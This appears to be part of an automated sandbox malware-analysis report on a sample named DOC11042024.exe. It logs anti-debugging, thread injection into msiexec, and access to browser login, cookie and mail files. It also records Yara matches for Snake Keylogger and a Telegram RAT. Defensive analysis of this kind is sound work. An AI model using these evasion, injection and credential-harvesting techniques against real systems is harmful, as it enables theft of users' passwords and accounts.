Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -594562s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe	Code function: 0_2_00402706 FindFirstFileW,	0_2_00402706
Source: C:\Users\user\Desktop\DOC11042024.exe	Code function: 0_2_004061E5 FindFirstFileW,FindClose,	0_2_004061E5
Source: C:\Users\user\Desktop\DOC11042024.exe	Code function: 0_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405731

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599670	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597467	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596671	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595543	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: msiexec.exe, 00000005.00000003.2697286494.0000000006227000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3269852832.0000000006227000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: msiexec.exe, 00000005.00000002.3269852832.00000000061CA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2697286494.00000000061F7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2697286494.0000000006227000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3269852832.0000000006227000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: msiexec.exe, 00000005.00000002.3283256246.0000000022FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\DOC11042024.exe	API call chain: ExitProcess graph end node			graph_0-3705
Source: C:\Users\user\Desktop\DOC11042024.exe	API call chain: ExitProcess graph end node			graph_0-3699

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Windows\SysWOW64\msiexec.exe

Thread information set: HideFromDebugger

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_09040000 LdrInitializeThunk,

2_2_09040000

Source: C:\Users\user\Desktop\DOC11042024.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3C30000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Yara detected Snake Keylogger

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe

Code function: 0_2_00405EC4 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405EC4

Stealing of Sensitive Information

Source: Yara match

File source: 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 1128, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Yara detected Snake Keylogger

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 1128, type: MEMORYSTR

Remote Access Functionality

Source: Yara match

File source: 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 1128, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
